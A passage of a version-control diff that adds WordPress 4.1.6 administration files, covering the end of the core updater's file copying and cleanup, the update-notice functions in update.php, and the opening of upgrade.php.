+	apply_filters( 'update_feedback', __( 'Copying the required files&#8230;' ) );
+	// Copy new versions of WP files into place.
+	$result = _copy_dir( $from . $distro, $to, $skip );
+	if ( is_wp_error( $result ) )
+		$result = new WP_Error( $result->get_error_code(), $result->get_error_message(), substr( $result->get_error_data(), strlen( $to ) ) );
+
+	// Since we know the core files have copied over, we can now copy the version file
+	if ( ! is_wp_error( $result ) ) {
+		if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $to . 'wp-includes/version.php', true /* overwrite */ ) ) {
+			$wp_filesystem->delete( $from, true );
+			$result = new WP_Error( 'copy_failed_for_version_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-includes/version.php' );
+		}
+		$wp_filesystem->chmod( $to . 'wp-includes/version.php', FS_CHMOD_FILE );
+	}
+
+	// Check to make sure everything copied correctly, ignoring the contents of wp-content
+	$skip = array( 'wp-content' );
+	$failed = array();
+	if ( isset( $checksums ) && is_array( $checksums ) ) {
+		foreach ( $checksums as $file => $checksum ) {
+			if ( 'wp-content' == substr( $file, 0, 10 ) )
+				continue;
+			if ( ! file_exists( $working_dir_local . $file ) )
+				continue;
+			if ( file_exists( ABSPATH . $file ) && md5_file( ABSPATH . $file ) == $checksum )
+				$skip[] = $file;
+			else
+				$failed[] = $file;
+		}
+	}
+
+	// Some files didn't copy properly
+	if ( ! empty( $failed ) ) {
+		$total_size = 0;
+		foreach ( $failed as $file ) {
+			if ( file_exists( $working_dir_local . $file ) )
+				$total_size += filesize( $working_dir_local . $file );
+		}
+
+		// If we don't have enough free space, it isn't worth trying again.
+		// Unlikely to be hit due to the check in unzip_file().
+		$available_space = @disk_free_space( ABSPATH );
+		if ( $available_space && $total_size >= $available_space ) {
+			$result = new WP_Error( 'disk_full', __( 'There is not enough free disk space to complete the update.' ) );
+		} else {
+			$result = _copy_dir( $from . $distro, $to, $skip );
+			if ( is_wp_error( $result ) )
+				$result = new WP_Error( $result->get_error_code() . '_retry', $result->get_error_message(), substr( $result->get_error_data(), strlen( $to ) ) );
+		}
+	}
+
+	// Custom Content Directory needs updating now.
+	// Copy Languages
+	if ( !is_wp_error($result) && $wp_filesystem->is_dir($from . $distro . 'wp-content/languages') ) {
+		if ( WP_LANG_DIR != ABSPATH . WPINC . '/languages' || @is_dir(WP_LANG_DIR) )
+			$lang_dir = WP_LANG_DIR;
+		else
+			$lang_dir = WP_CONTENT_DIR . '/languages';
+
+		if ( !@is_dir($lang_dir) && 0 === strpos($lang_dir, ABSPATH) ) { // Check the language directory exists first
+			$wp_filesystem->mkdir($to . str_replace(ABSPATH, '', $lang_dir), FS_CHMOD_DIR); // If it's within the ABSPATH we can handle it here, otherwise they're out of luck.
+			clearstatcache(); // for FTP, Need to clear the stat cache
+		}
+
+		if ( @is_dir($lang_dir) ) {
+			$wp_lang_dir = $wp_filesystem->find_folder($lang_dir);
+			if ( $wp_lang_dir ) {
+				$result = copy_dir($from . $distro . 'wp-content/languages/', $wp_lang_dir);
+				if ( is_wp_error( $result ) )
+					$result = new WP_Error( $result->get_error_code() . '_languages', $result->get_error_message(), substr( $result->get_error_data(), strlen( $wp_lang_dir ) ) );
+			}
+		}
+	}
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Disabling Maintenance mode&#8230;' ) );
+	// Remove maintenance file, we're done with potential site-breaking changes
+	$wp_filesystem->delete( $maintenance_file );
+
+	// 3.5 -> 3.5+ - an empty twentytwelve directory was created upon upgrade to 3.5 for some users, preventing installation of Twenty Twelve.
+	if ( '3.5' == $old_wp_version ) {
+		if ( is_dir( WP_CONTENT_DIR . '/themes/twentytwelve' ) && ! file_exists( WP_CONTENT_DIR . '/themes/twentytwelve/style.css' )  ) {
+			$wp_filesystem->delete( $wp_filesystem->wp_themes_dir() . 'twentytwelve/' );
+		}
+	}
+
+	// Copy New bundled plugins & themes
+	// This gives us the ability to install new plugins & themes bundled with future versions of WordPress whilst avoiding the re-install upon upgrade issue.
+	// $development_build controls us overwriting bundled themes and plugins when a non-stable release is being updated
+	if ( !is_wp_error($result) && ( ! defined('CORE_UPGRADE_SKIP_NEW_BUNDLED') || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) {
+		foreach ( (array) $_new_bundled_files as $file => $introduced_version ) {
+			// If a $development_build or if $introduced version is greater than what the site was previously running
+			if ( $development_build || version_compare( $introduced_version, $old_wp_version, '>' ) ) {
+				$directory = ('/' == $file[ strlen($file)-1 ]);
+				list($type, $filename) = explode('/', $file, 2);
+
+				// Check to see if the bundled items exist before attempting to copy them
+				if ( ! $wp_filesystem->exists( $from . $distro . 'wp-content/' . $file ) )
+					continue;
+
+				if ( 'plugins' == $type )
+					$dest = $wp_filesystem->wp_plugins_dir();
+				elseif ( 'themes' == $type )
+					$dest = trailingslashit($wp_filesystem->wp_themes_dir()); // Back-compat, ::wp_themes_dir() did not return trailingslash'd pre-3.2
+				else
+					continue;
+
+				if ( ! $directory ) {
+					if ( ! $development_build && $wp_filesystem->exists( $dest . $filename ) )
+						continue;
+
+					if ( ! $wp_filesystem->copy($from . $distro . 'wp-content/' . $file, $dest . $filename, FS_CHMOD_FILE) )
+						$result = new WP_Error( "copy_failed_for_new_bundled_$type", __( 'Could not copy file.' ), $dest . $filename );
+				} else {
+					if ( ! $development_build && $wp_filesystem->is_dir( $dest . $filename ) )
+						continue;
+
+					$wp_filesystem->mkdir($dest . $filename, FS_CHMOD_DIR);
+					$_result = copy_dir( $from . $distro . 'wp-content/' . $file, $dest . $filename);
+
+					// If a error occurs partway through this final step, keep the error flowing through, but keep process going.
+					if ( is_wp_error( $_result ) ) {
+						if ( ! is_wp_error( $result ) )
+							$result = new WP_Error;
+						$result->add( $_result->get_error_code() . "_$type", $_result->get_error_message(), substr( $_result->get_error_data(), strlen( $dest ) ) );
+					}
+				}
+			}
+		} //end foreach
+	}
+
+	// Handle $result error from the above blocks
+	if ( is_wp_error($result) ) {
+		$wp_filesystem->delete($from, true);
+		return $result;
+	}
+
+	// Remove old files
+	foreach ( $_old_files as $old_file ) {
+		$old_file = $to . $old_file;
+		if ( !$wp_filesystem->exists($old_file) )
+			continue;
+		$wp_filesystem->delete($old_file, true);
+	}
+
+	// Remove any Genericons example.html's from the filesystem
+	_upgrade_422_remove_genericons();
+
+	// Upgrade DB with separate request
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Upgrading database&#8230;' ) );
+	$db_upgrade_url = admin_url('upgrade.php?step=upgrade_db');
+	wp_remote_post($db_upgrade_url, array('timeout' => 60));
+
+	// Clear the cache to prevent an update_option() from saving a stale db_version to the cache
+	wp_cache_flush();
+	// (Not all cache backends listen to 'flush')
+	wp_cache_delete( 'alloptions', 'options' );
+
+	// Remove working directory
+	$wp_filesystem->delete($from, true);
+
+	// Force refresh of update information
+	if ( function_exists('delete_site_transient') )
+		delete_site_transient('update_core');
+	else
+		delete_option('update_core');
+
+	/**
+	 * Fires after WordPress core has been successfully updated.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $wp_version The current WordPress version.
+	 */
+	do_action( '_core_updated_successfully', $wp_version );
+
+	// Clear the option that blocks auto updates after failures, now that we've been successful.
+	if ( function_exists( 'delete_site_option' ) )
+		delete_site_option( 'auto_core_update_failed' );
+
+	return $wp_version;
+}
+
+/**
+ * Copies a directory from one location to another via the WordPress Filesystem Abstraction.
+ * Assumes that WP_Filesystem() has already been called and setup.
+ *
+ * This is a temporary function for the 3.1 -> 3.2 upgrade, as well as for those upgrading to
+ * 3.7+
+ *
+ * @ignore
+ * @since 3.2.0
+ * @since 3.7.0 Updated not to use a regular expression for the skip list
+ * @see copy_dir()
+ *
+ * @param string $from source directory
+ * @param string $to destination directory
+ * @param array $skip_list a list of files/folders to skip copying
+ * @return mixed WP_Error on failure, True on success.
+ */
+function _copy_dir($from, $to, $skip_list = array() ) {
+	global $wp_filesystem;
+
+	$dirlist = $wp_filesystem->dirlist($from);
+
+	$from = trailingslashit($from);
+	$to = trailingslashit($to);
+
+	foreach ( (array) $dirlist as $filename => $fileinfo ) {
+		if ( in_array( $filename, $skip_list ) )
+			continue;
+
+		if ( 'f' == $fileinfo['type'] ) {
+			if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) {
+				// If copy failed, chmod file to 0644 and try again.
+				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );
+				if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) )
+					return new WP_Error( 'copy_failed__copy_dir', __( 'Could not copy file.' ), $to . $filename );
+			}
+		} elseif ( 'd' == $fileinfo['type'] ) {
+			if ( !$wp_filesystem->is_dir($to . $filename) ) {
+				if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) )
+					return new WP_Error( 'mkdir_failed__copy_dir', __( 'Could not create directory.' ), $to . $filename );
+			}
+
+			/*
+			 * Generate the $sub_skip_list for the subdirectory as a sub-set
+			 * of the existing $skip_list.
+			 */
+			$sub_skip_list = array();
+			foreach ( $skip_list as $skip_item ) {
+				if ( 0 === strpos( $skip_item, $filename . '/' ) )
+					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
+			}
+
+			$result = _copy_dir($from . $filename, $to . $filename, $sub_skip_list);
+			if ( is_wp_error($result) )
+				return $result;
+		}
+	}
+	return true;
+}
+
+/**
+ * Redirect to the About WordPress page after a successful upgrade.
+ *
+ * This function is only needed when the existing install is older than 3.4.0.
+ *
+ * @since 3.3.0
+ *
+ */
+function _redirect_to_about_wordpress( $new_version ) {
+	global $wp_version, $pagenow, $action;
+
+	if ( version_compare( $wp_version, '3.4-RC1', '>=' ) )
+		return;
+
+	// Ensure we only run this on the update-core.php page. The Core_Upgrader may be used in other contexts.
+	if ( 'update-core.php' != $pagenow )
+		return;
+
+ 	if ( 'do-core-upgrade' != $action && 'do-core-reinstall' != $action )
+ 		return;
+
+	// Load the updated default text localization domain for new strings.
+	load_default_textdomain();
+
+	// See do_core_upgrade()
+	show_message( __('WordPress updated successfully') );
+
+	// self_admin_url() won't exist when upgrading from <= 3.0, so relative URLs are intentional.
+	show_message( '<span class="hide-if-no-js">' . sprintf( __( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ), $new_version, 'about.php?updated' ) . '</span>' );
+	show_message( '<span class="hide-if-js">' . sprintf( __( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ), $new_version, 'about.php?updated' ) . '</span>' );
+	echo '</div>';
+	?>
+<script type="text/javascript">
+window.location = 'about.php?updated';
+</script>
+	<?php
+
+	// Include admin-footer.php and exit.
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+	exit();
+}
+add_action( '_core_updated_successfully', '_redirect_to_about_wordpress' );
+
+/**
+ * Cleans up Genericons example files.
+ *
+ * @since 4.2.2
+ */
+function _upgrade_422_remove_genericons() {
+	global $wp_theme_directories, $wp_filesystem;
+
+	// A list of the affected files using the filesystem absolute paths.
+	$affected_files = array();
+
+	// Themes
+	foreach ( $wp_theme_directories as $directory ) {
+		$affected_theme_files = _upgrade_422_find_genericons_files_in_folder( $directory );
+		$affected_files       = array_merge( $affected_files, $affected_theme_files );
+	}
+
+	// Plugins
+	$affected_plugin_files = _upgrade_422_find_genericons_files_in_folder( WP_PLUGIN_DIR );
+	$affected_files        = array_merge( $affected_files, $affected_plugin_files );
+
+	foreach ( $affected_files as $file ) {
+		$gen_dir = $wp_filesystem->find_folder( trailingslashit( dirname( $file ) ) );
+		if ( empty( $gen_dir ) ) {
+			continue;
+		}
+
+		// The path when the file is accessed via WP_Filesystem may differ in the case of FTP
+		$remote_file = $gen_dir . basename( $file );
+
+		if ( ! $wp_filesystem->exists( $remote_file ) ) {
+			continue;
+		}
+
+		if ( ! $wp_filesystem->delete( $remote_file, false, 'f' ) ) {
+			$wp_filesystem->put_contents( $remote_file, '' );
+		}
+	}
+}
+
+/**
+ * Recursively find Genericons example files in a given folder.
+ *
+ * @ignore
+ * @since 4.2.2
+ *
+ * @param string $directory Directory path. Expects trailingslashed.
+ * @return array
+ */
+function _upgrade_422_find_genericons_files_in_folder( $directory ) {
+	$directory = trailingslashit( $directory );
+	$files     = array();
+
+	if ( file_exists( "{$directory}example.html" ) && false !== strpos( file_get_contents( "{$directory}example.html" ), '<title>Genericons</title>' ) ) {
+		$files[] = "{$directory}example.html";
+	}
+
+	foreach ( glob( $directory . '*', GLOB_ONLYDIR ) as $dir ) {
+		$files = array_merge( $files, _upgrade_422_find_genericons_files_in_folder( $dir ) );
+	}
+
+	return $files;
+}
Index: /tags/4.1.6/src/wp-admin/includes/update.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/update.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/update.php	(revision 33402)
@@ -0,0 +1,432 @@
+<?php
+/**
+ * WordPress Administration Update API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Selects the first update version from the update_core option.
+ *
+ * @return bool|object The response from the API on success, false on failure.
+ */
+function get_preferred_from_update_core() {
+	$updates = get_core_updates();
+	if ( ! is_array( $updates ) )
+		return false;
+	if ( empty( $updates ) )
+		return (object) array( 'response' => 'latest' );
+	return $updates[0];
+}
+
+/**
+ * Get available core updates.
+ *
+ * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too,
+ * 	set $options['available'] to false to skip not-dismissed updates.
+ * @return bool|array Array of the update objects on success, false on failure.
+ */
+function get_core_updates( $options = array() ) {
+	$options = array_merge( array( 'available' => true, 'dismissed' => false ), $options );
+	$dismissed = get_site_option( 'dismissed_update_core' );
+
+	if ( ! is_array( $dismissed ) )
+		$dismissed = array();
+
+	$from_api = get_site_transient( 'update_core' );
+
+	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) )
+		return false;
+
+	$updates = $from_api->updates;
+	$result = array();
+	foreach ( $updates as $update ) {
+		if ( $update->response == 'autoupdate' )
+			continue;
+
+		if ( array_key_exists( $update->current . '|' . $update->locale, $dismissed ) ) {
+			if ( $options['dismissed'] ) {
+				$update->dismissed = true;
+				$result[] = $update;
+			}
+		} else {
+			if ( $options['available'] ) {
+				$update->dismissed = false;
+				$result[] = $update;
+			}
+		}
+	}
+	return $result;
+}
+
+/**
+ * Gets the best available (and enabled) Auto-Update for WordPress Core.
+ *
+ * If there's 1.2.3 and 1.3 on offer, it'll choose 1.3 if the install allows it, else, 1.2.3
+ *
+ * @since 3.7.0
+ *
+ * @return bool|array False on failure, otherwise the core update offering.
+ */
+function find_core_auto_update() {
+	$updates = get_site_transient( 'update_core' );
+	if ( ! $updates || empty( $updates->updates ) )
+		return false;
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	$auto_update = false;
+	$upgrader = new WP_Automatic_Updater;
+	foreach ( $updates->updates as $update ) {
+		if ( 'autoupdate' != $update->response )
+			continue;
+
+		if ( ! $upgrader->should_update( 'core', $update, ABSPATH ) )
+			continue;
+
+		if ( ! $auto_update || version_compare( $update->current, $auto_update->current, '>' ) )
+			$auto_update = $update;
+	}
+	return $auto_update;
+}
+
+/**
+ * Gets and caches the checksums for the given version of WordPress.
+ *
+ * @since 3.7.0
+ *
+ * @param string $version Version string to query.
+ * @param string $locale  Locale to query.
+ * @return bool|array False on failure. An array of checksums on success.
+ */
+function get_core_checksums( $version, $locale ) {
+	$url = $http_url = 'http://api.wordpress.org/core/checksums/1.0/?' . http_build_query( compact( 'version', 'locale' ), null, '&' );
+
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$options = array(
+		'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3 ),
+	);
+
+	$response = wp_remote_get( $url, $options );
+	if ( $ssl && is_wp_error( $response ) ) {
+		trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
+		$response = wp_remote_get( $http_url, $options );
+	}
+
+	if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
+		return false;
+
+	$body = trim( wp_remote_retrieve_body( $response ) );
+	$body = json_decode( $body, true );
+
+	if ( ! is_array( $body ) || ! isset( $body['checksums'] ) || ! is_array( $body['checksums'] ) )
+		return false;
+
+	return $body['checksums'];
+}
+
+function dismiss_core_update( $update ) {
+	$dismissed = get_site_option( 'dismissed_update_core' );
+	$dismissed[ $update->current . '|' . $update->locale ] = true;
+	return update_site_option( 'dismissed_update_core', $dismissed );
+}
+
+function undismiss_core_update( $version, $locale ) {
+	$dismissed = get_site_option( 'dismissed_update_core' );
+	$key = $version . '|' . $locale;
+
+	if ( ! isset( $dismissed[$key] ) )
+		return false;
+
+	unset( $dismissed[$key] );
+	return update_site_option( 'dismissed_update_core', $dismissed );
+}
+
+function find_core_update( $version, $locale ) {
+	$from_api = get_site_transient( 'update_core' );
+
+	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) )
+		return false;
+
+	$updates = $from_api->updates;
+	foreach ( $updates as $update ) {
+		if ( $update->current == $version && $update->locale == $locale )
+			return $update;
+	}
+	return false;
+}
+
+function core_update_footer( $msg = '' ) {
+	if ( !current_user_can('update_core') )
+		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
+
+	$cur = get_preferred_from_update_core();
+	if ( ! is_object( $cur ) )
+		$cur = new stdClass;
+
+	if ( ! isset( $cur->current ) )
+		$cur->current = '';
+
+	if ( ! isset( $cur->url ) )
+		$cur->url = '';
+
+	if ( ! isset( $cur->response ) )
+		$cur->response = '';
+
+	switch ( $cur->response ) {
+	case 'development' :
+		return sprintf( __( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ), get_bloginfo( 'version', 'display' ), network_admin_url( 'update-core.php' ) );
+
+	case 'upgrade' :
+		return sprintf( '<strong>'.__( '<a href="%1$s">Get Version %2$s</a>' ).'</strong>', network_admin_url( 'update-core.php' ), $cur->current);
+
+	case 'latest' :
+	default :
+		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
+	}
+}
+add_filter( 'update_footer', 'core_update_footer' );
+
+function update_nag() {
+	if ( is_multisite() && !current_user_can('update_core') )
+		return false;
+
+	global $pagenow;
+
+	if ( 'update-core.php' == $pagenow )
+		return;
+
+	$cur = get_preferred_from_update_core();
+
+	if ( ! isset( $cur->response ) || $cur->response != 'upgrade' )
+		return false;
+
+	if ( current_user_can('update_core') ) {
+		$msg = sprintf( __('<a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> is available! <a href="%2$s">Please update now</a>.'), $cur->current, network_admin_url( 'update-core.php' ) );
+	} else {
+		$msg = sprintf( __('<a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> is available! Please notify the site administrator.'), $cur->current );
+	}
+	echo "<div class='update-nag'>$msg</div>";
+}
+add_action( 'admin_notices', 'update_nag', 3 );
+add_action( 'network_admin_notices', 'update_nag', 3 );
+
+// Called directly from dashboard
+function update_right_now_message() {
+	$theme_name = wp_get_theme();
+	if ( current_user_can( 'switch_themes' ) ) {
+		$theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme_name );
+	}
+
+	$msg = sprintf( __( 'WordPress %1$s running %2$s theme.' ), get_bloginfo( 'version', 'display' ), $theme_name );
+
+	if ( current_user_can('update_core') ) {
+		$cur = get_preferred_from_update_core();
+
+		if ( isset( $cur->response ) && $cur->response == 'upgrade' )
+			$msg .= " <a href='" . network_admin_url( 'update-core.php' ) . "' class='button'>" . sprintf( __('Update to %s'), $cur->current ? $cur->current : __( 'Latest' ) ) . '</a>';
+	}
+
+	echo "<p id='wp-version-message'>$msg</p>";
+}
+
+function get_plugin_updates() {
+	$all_plugins = get_plugins();
+	$upgrade_plugins = array();
+	$current = get_site_transient( 'update_plugins' );
+	foreach ( (array)$all_plugins as $plugin_file => $plugin_data) {
+		if ( isset( $current->response[ $plugin_file ] ) ) {
+			$upgrade_plugins[ $plugin_file ] = (object) $plugin_data;
+			$upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ];
+		}
+	}
+
+	return $upgrade_plugins;
+}
+
+function wp_plugin_update_rows() {
+	if ( !current_user_can('update_plugins' ) )
+		return;
+
+	$plugins = get_site_transient( 'update_plugins' );
+	if ( isset($plugins->response) && is_array($plugins->response) ) {
+		$plugins = array_keys( $plugins->response );
+		foreach( $plugins as $plugin_file ) {
+			add_action( "after_plugin_row_$plugin_file", 'wp_plugin_update_row', 10, 2 );
+		}
+	}
+}
+add_action( 'admin_init', 'wp_plugin_update_rows' );
+
+function wp_plugin_update_row( $file, $plugin_data ) {
+	$current = get_site_transient( 'update_plugins' );
+	if ( !isset( $current->response[ $file ] ) )
+		return false;
+
+	$r = $current->response[ $file ];
+
+	$plugins_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array());
+	$plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags );
+
+	$details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $r->slug . '&section=changelog&TB_iframe=true&width=600&height=800');
+
+	$wp_list_table = _get_list_table('WP_Plugins_List_Table');
+
+	if ( is_network_admin() || !is_multisite() ) {
+		echo '<tr class="plugin-update-tr"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange"><div class="update-message">';
+
+		if ( ! current_user_can('update_plugins') )
+			printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version );
+		else if ( empty($r->package) )
+			printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version );
+		else
+			printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version, wp_nonce_url( self_admin_url('update.php?action=upgrade-plugin&plugin=') . $file, 'upgrade-plugin_' . $file) );
+
+		/**
+		 * Fires at the end of the update message container in each
+		 * row of the plugins list table.
+		 *
+		 * The dynamic portion of the hook name, `$file`, refers to the path
+		 * of the plugin's primary file relative to the plugins directory.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $plugin_data {
+		 *     An array of plugin metadata.
+		 *
+		 *     @type string $name         The human-readable name of the plugin.
+		 *     @type string $plugin_uri   Plugin URI.
+		 *     @type string $version      Plugin version.
+		 *     @type string $description  Plugin description.
+		 *     @type string $author       Plugin author.
+		 *     @type string $author_uri   Plugin author URI.
+		 *     @type string $text_domain  Plugin text domain.
+		 *     @type string $domain_path  Relative path to the plugin's .mo file(s).
+		 *     @type bool   $network      Whether the plugin can only be activated network wide.
+		 *     @type string $title        The human-readable title of the plugin.
+		 *     @type string $author_name  Plugin author's name.
+		 *     @type bool   $update       Whether there's an available update. Default null.
+	 	 * }
+	 	 * @param array $r {
+	 	 *     An array of metadata about the available plugin update.
+	 	 *
+	 	 *     @type int    $id           Plugin ID.
+	 	 *     @type string $slug         Plugin slug.
+	 	 *     @type string $new_version  New plugin version.
+	 	 *     @type string $url          Plugin URL.
+	 	 *     @type string $package      Plugin update package URL.
+	 	 * }
+		 */
+		do_action( "in_plugin_update_message-{$file}", $plugin_data, $r );
+
+		echo '</div></td></tr>';
+	}
+}
+
+function get_theme_updates() {
+	$current = get_site_transient('update_themes');
+
+	if ( ! isset( $current->response ) )
+		return array();
+
+	$update_themes = array();
+	foreach ( $current->response as $stylesheet => $data ) {
+		$update_themes[ $stylesheet ] = wp_get_theme( $stylesheet );
+		$update_themes[ $stylesheet ]->update = $data;
+	}
+
+	return $update_themes;
+}
+
+function wp_theme_update_rows() {
+	if ( !current_user_can('update_themes' ) )
+		return;
+
+	$themes = get_site_transient( 'update_themes' );
+	if ( isset($themes->response) && is_array($themes->response) ) {
+		$themes = array_keys( $themes->response );
+
+		foreach( $themes as $theme ) {
+			add_action( "after_theme_row_$theme", 'wp_theme_update_row', 10, 2 );
+		}
+	}
+}
+add_action( 'admin_init', 'wp_theme_update_rows' );
+
+function wp_theme_update_row( $theme_key, $theme ) {
+	$current = get_site_transient( 'update_themes' );
+	if ( !isset( $current->response[ $theme_key ] ) )
+		return false;
+	$r = $current->response[ $theme_key ];
+
+	$details_url = add_query_arg( array( 'TB_iframe' => 'true', 'width' => 1024, 'height' => 800 ), $current->response[ $theme_key ]['url'] );
+
+	$wp_list_table = _get_list_table('WP_MS_Themes_List_Table');
+
+	echo '<tr class="plugin-update-tr"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange"><div class="update-message">';
+	if ( ! current_user_can('update_themes') )
+		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r->new_version );
+	else if ( empty( $r['package'] ) )
+		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r['new_version'] );
+	else
+		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r['new_version'], wp_nonce_url( self_admin_url('update.php?action=upgrade-theme&theme=') . $theme_key, 'upgrade-theme_' . $theme_key) );
+
+	/**
+	 * Fires at the end of the update message container in each
+	 * row of the themes list table.
+	 *
+	 * The dynamic portion of the hook name, `$theme_key`, refers to
+	 * the theme slug as found in the WordPress.org themes repository.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param WP_Theme $theme The WP_Theme object.
+	 * @param array    $r {
+	 *     An array of metadata about the available theme update.
+	 *
+	 *     @type string $new_version New theme version.
+	 *     @type string $url         Theme URL.
+	 *     @type string $package     Theme update package URL.
+	 * }
+	 */
+	do_action( "in_theme_update_message-{$theme_key}", $theme, $r );
+
+	echo '</div></td></tr>';
+}
+
+function maintenance_nag() {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+	global $upgrading;
+	$nag = isset( $upgrading );
+	if ( ! $nag ) {
+		$failed = get_site_option( 'auto_core_update_failed' );
+		/*
+		 * If an update failed critically, we may have copied over version.php but not other files.
+		 * In that case, if the install claims we're running the version we attempted, nag.
+		 * This is serious enough to err on the side of nagging.
+		 *
+		 * If we simply failed to update before we tried to copy any files, then assume things are
+		 * OK if they are now running the latest.
+		 *
+		 * This flag is cleared whenever a successful update occurs using Core_Upgrader.
+		 */
+		$comparison = ! empty( $failed['critical'] ) ? '>=' : '>';
+		if ( version_compare( $failed['attempted'], $wp_version, $comparison ) )
+			$nag = true;
+	}
+
+	if ( ! $nag )
+		return false;
+
+	if ( current_user_can('update_core') )
+		$msg = sprintf( __('An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.'), 'update-core.php' );
+	else
+		$msg = __('An automated WordPress update has failed to complete! Please notify the site administrator.');
+
+	echo "<div class='update-nag'>$msg</div>";
+}
+add_action( 'admin_notices', 'maintenance_nag' );
+add_action( 'network_admin_notices', 'maintenance_nag' );
Index: /tags/4.1.6/src/wp-admin/includes/upgrade.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/upgrade.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/upgrade.php	(revision 33402)
@@ -0,0 +1,2282 @@
+<?php
+/**
+ * WordPress Upgrade API
+ *
+ * Most of the functions are pluggable and can be overwritten
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Include user install customize script. */
+if ( file_exists(WP_CONTENT_DIR . '/install.php') )
+	require (WP_CONTENT_DIR . '/install.php');
+
+/** WordPress Administration API */
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+/** WordPress Schema API */
+require_once(ABSPATH . 'wp-admin/includes/schema.php');
+
+if ( !function_exists('wp_install') ) :
+/**
+ * Installs the blog
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 2.1.0
+ *
+ * @param string $blog_title Blog title.
+ * @param string $user_name User's username.
+ * @param string $user_email User's email.
+ * @param bool $public Whether blog is public.
+ * @param string $deprecated Optional. Not used.
+ * @param string $user_password Optional. User's chosen password. Will default to a random password.
+ * @param string $language Optional. Language chosen.
+ * @return array Array keys 'url', 'user_id', 'password', 'password_message'.
+ */
+function wp_install( $blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '', $language = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.6' );
+
+	wp_check_mysql_version();
+	wp_cache_flush();
+	make_db_current_silent();
+	populate_options();
+	populate_roles();
+
+	update_option('blogname', $blog_title);
+	update_option('admin_email', $user_email);
+	update_option('blog_public', $public);
+
+	if ( $language ) {
+		update_option( 'WPLANG', $language );
+	}
+
+	$guessurl = wp_guess_url();
+
+	update_option('siteurl', $guessurl);
+
+	// If not a public blog, don't ping.
+	if ( ! $public )
+		update_option('default_pingback_flag', 0);
+
+	/*
